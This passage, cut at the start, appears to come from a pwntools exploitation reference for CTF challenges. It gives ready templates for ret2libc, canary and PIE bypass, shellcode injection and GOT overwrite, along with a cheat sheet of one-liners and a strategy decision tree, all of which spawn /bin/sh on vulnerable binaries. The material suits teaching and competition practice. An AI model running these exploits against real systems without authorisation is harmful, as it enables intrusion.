payload1 = flat(
b'A' * offset,
pop_rdi,
elf.got['puts'],
elf.plt['puts'],
elf.sym['main'], # return to main for stage 2
)
p.sendlineafter(b'Input: ', payload1)
p.recvline() # consume any prompt
leak = u64(p.recvn(6).ljust(8, b'\x00'))
libc.address = leak - libc.sym['puts']
log.success(f"Leaked puts: {hex(leak)}")
log.success(f"libc base: {hex(libc.address)}")
# ─── Stage 2: system('/bin/sh') ───
binsh = next(libc.search(b'/bin/sh\x00'))
system = libc.sym['system']
payload2 = flat(
b'A' * offset,
ret, # alignment gadget
pop_rdi,
binsh,
system,
)
p.sendlineafter(b'Input: ', payload2)
p.interactive()
16.3 Template: PIE + Canary Bypass (Full Protections)
#!/usr/bin/env python3
from pwn import *
elf = ELF('./binary')
libc = ELF('./libc.so.6')
context.binary = elf
p = process(elf.path) if not args.REMOTE else remote('host', 1337)
offset = 64 # offset to canary (find with cyclic)
# ─── Step 1: Leak stack canary via format string or overflow ───
# (Method depends on vulnerability — here: format string leak)
p.sendlineafter(b'Name: ', b'%17$p') # leak canary at offset 17
canary = int(p.recvline().strip(), 16)
log.success(f"Canary: {hex(canary)}")
# ─── Step 2: Leak PIE base via info leak ───
p.sendlineafter(b'Name: ', b'%15$p') # leak return address
ret_leak = int(p.recvline().strip(), 16)
elf.address = ret_leak - 0x11b3 # subtract known offset to main
log.success(f"PIE base: {hex(elf.address)}")
# ─── Step 3: Leak libc via PIE-adjusted plt/got ───
rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])
ret = rop.find_gadget(['ret'])
payload1 = flat(
b'A' * offset,
canary,
b'B' * 8, # saved RBP
pop_rdi,
elf.got['puts'],
elf.plt['puts'],
elf.sym['main'],
)
p.sendlineafter(b'Data: ', payload1)
leak = u64(p.recvn(6).ljust(8, b'\x00'))
libc.address = leak - libc.sym['puts']
log.success(f"libc base: {hex(libc.address)}")
# ─── Step 4: system('/bin/sh') ───
binsh = next(libc.search(b'/bin/sh\x00'))
system = libc.sym['system']
payload2 = flat(
b'A' * offset,
canary,
b'B' * 8,
ret,
pop_rdi,
binsh,
system,
)
p.sendlineafter(b'Data: ', payload2)
p.interactive()
16.4 Template: Shellcode Injection (No NX)
#!/usr/bin/env python3
# Target: NX disabled, no PIE, no canary
from pwn import *
elf = ELF('./binary')
context.binary = elf
p = process(elf.path) if not args.REMOTE else remote('host', 1337)
# ─── Generate shellcode ───
shellcode = asm(shellcraft.sh())
# ─── Find buffer address (leaked or fixed) ───
# If binary leaks buffer address:
p.recvuntil(b'buffer: ')
buf_addr = int(p.recvline().strip(), 16)
log.info(f"Buffer @ {hex(buf_addr)}")
# ─── Build payload ───
offset = 64
payload = flat(
shellcode,
b'A' * (offset - len(shellcode)), # pad remaining space
p64(buf_addr), # overwrite RIP → buffer
)
p.sendlineafter(b'Input: ', payload)
p.interactive()
16.5 Template: GOT Overwrite (Partial RELRO)
#!/usr/bin/env python3
from pwn import *
elf = ELF('./binary')
context.binary = elf
p = process(elf.path) if not args.REMOTE else remote('host', 1337)
# ─── Overwrite GOT entry for exit() with win() ───
# Requires: write primitive (format string, buffer overflow to GOT)
target_addr = elf.got['exit'] # GOT entry to overwrite
win_addr = elf.sym['win'] # address to write
log.info(f"GOT exit @ {hex(target_addr)}")
log.info(f"win() @ {hex(win_addr)}")
# Format string overwrite (if vuln is printf)
offset = 6 # printf offset of input
payload = fmtstr_payload(offset, {target_addr: win_addr})
p.sendlineafter(b'> ', payload)
# Trigger exit() → redirected to win()
p.sendlineafter(b'> ', b'exit')
p.interactive()
17. Cheat Sheet
Essential One-Liners
# ─── Setup ───
from pwn import *
elf = ELF('./binary'); context.binary = elf
libc = ELF('./libc.so.6')
p = process(elf.path) if not args.REMOTE else remote('host',1337)
rop = ROP(elf)
# ─── Packing ───
p64(0xdeadbeef) # → 8-byte LE
p32(0xdeadbeef) # → 4-byte LE
u64(b'\xef\xbe\xad\xde\x00\x00\x00\x00') # → 0xdeadbeef
u64(p.recvn(6).ljust(8, b'\x00')) # 6-byte leak → int
# ─── Shellcode ───
asm(shellcraft.sh()) # execve /bin/sh
asm(shellcraft.linux.cat('/flag.txt')) # cat flag
# ─── Cyclic offset ───
cyclic(200) # generate
cyclic_find(0x6161616b) # find offset
# ─── Gadgets ───
pop_rdi = rop.find_gadget(['pop rdi','ret'])
ret = rop.find_gadget(['ret'])
# ─── ROP chain ───
rop.call('puts', [elf.got['puts']]); rop.call('main')
chain = rop.chain()
# ─── Libc base ───
leak = u64(p.recvn(6).ljust(8,b'\x00'))
libc.address = leak - libc.sym['puts']
# ─── system('/bin/sh') ───
binsh = next(libc.search(b'/bin/sh\x00'))
system = libc.sym['system']
# ─── Format string write ───
fmtstr_payload(offset, {elf.got['exit']: elf.sym['win']})
# ─── GDB attach ───
context.terminal = ['tmux','splitw','-h']
gdb.attach(p, f'break *{elf.sym["vuln"]}\ncontinue')
Exploitation Decision Tree
Binary received?
│
├─→ checksec / elf.checksec()
│
├─→ Protections:
│ │
│ ├─ NX:
│ │ ┌─────────────── NX ─────────────────┐
│ │ │ │
│ │ │ No NX NX Enabled │
│ │ │ ───── ────────── │
│ │ │ Shellcode ROP │
│ │ │ injection (ROP(elf)) │
│ │ │ asm(shellcraft) │
│ │ │ │
│ │ └────────────────────────────────────┘
│ │
│ ├─ PIE:
│ │ ┌────────────── PIE ─────────────────┐
│ │ │ │
│ │ │ No PIE PIE Enabled │
│ │ │ ────── ─────────── │
│ │ │ Fixed addresses Need leak │
│ │ │ elf.sym['win'] Calculate │
│ │ │ base address │
│ │ │ elf.address= │
│ │ │ base │
│ │ │ │
│ │ └────────────────────────────────────┘
│ │
│ └─ Canary:
│ ┌──────────── Canary ────────────────┐
│ │ │
│ │ No Canary Canary Present │
│ │ ───────── ────────────── │
│ │ Direct BOF Leak first │
│ │ (fmt/string/etc)│
│ │ │
│ └────────────────────────────────────┘
│
└─→ Find vulnerability type
│
├─ Buffer Overflow
│ │
│ ├─→ cyclic()
│ ├─→ Find offset
│ ├─→ Control RIP
│ └─→ Build ROP chain
│
├─ Format String
│ │
│ ├─→ Leak addresses
│ ├─→ FmtStr() / fmtstr_payload()
│ └─→ Possible GOT overwrite
│
├─ Use-After-Free
│ │
│ └─→ Heap primitives
│ ├─→ tcache
│ └─→ fastbin
│
└─ GOT Overwrite
│
├─→ Overwrite GOT entry
├─→ Redirect execution
│ ├─→ win()
│ └─→ system()
│
└─→ fmtstr_payload({got: win})
Tube Quick Reference
p.recv(n) # receive up to n bytes
p.recvn(n) # receive EXACTLY n bytes
p.recvline() # receive until \n
p.recvuntil(b'> ') # receive until delimiter
p.recvall() # receive until EOF
p.clean() # discard all pending data
p.send(b'data') # send raw bytes
p.sendline(b'data') # send + \n
p.sendafter(b'> ', data) # recv until >, then send
p.sendlineafter(b'> ', data) # recv until >, then sendline
p.interactive() # drop to interactive shell
Common Offsets & Tricks
# x64 — RSP alignment (system() needs 16-byte aligned RSP)
# Add extra 'ret' gadget before system() call
ret = rop.find_gadget(['ret'])
# Libc address from leaked puts
libc.address = leaked_puts - libc.sym['puts']
# Libc address from leaked __libc_start_main+243
libc.address = leak - (libc.sym['__libc_start_main'] + 243)
# /bin/sh in libc
binsh = next(libc.search(b'/bin/sh\x00'))
# One gadget (single gadget execve /bin/sh — check constraints)
# one_gadget libc.so.6 ← CLI tool
# Common offsets: 0x45226, 0x4527a, 0xf0364, 0xf1207
# Buffer overflow with format string canary leak
# Canary always ends in \x00 — remember to handle the null byte
canary = u64(b'\x00' + p.recvn(7)) # if canary leaked without null
This pairs perfectly with your shellcoding and assembly notes. Priority usage:
-
context.binary = ELF('./binary')— set this first on every CTF challenge -
elf.checksec()— dictates your entire exploit strategy -
cyclic()+cyclic_find()— fastest way to find buffer offsets, use every time -
ROP(elf)+rop.find_gadget()— replaces manual ROPgadget hunting -
sendlineafter()— stabler than rawsendline()for timing -
gdb.attach(p, 'break *addr\ncontinue')— seamless debugging mid-exploit -
Stage 1 leak → Stage 2 shell — memorize this two-stage ret2libc pattern cold for CTF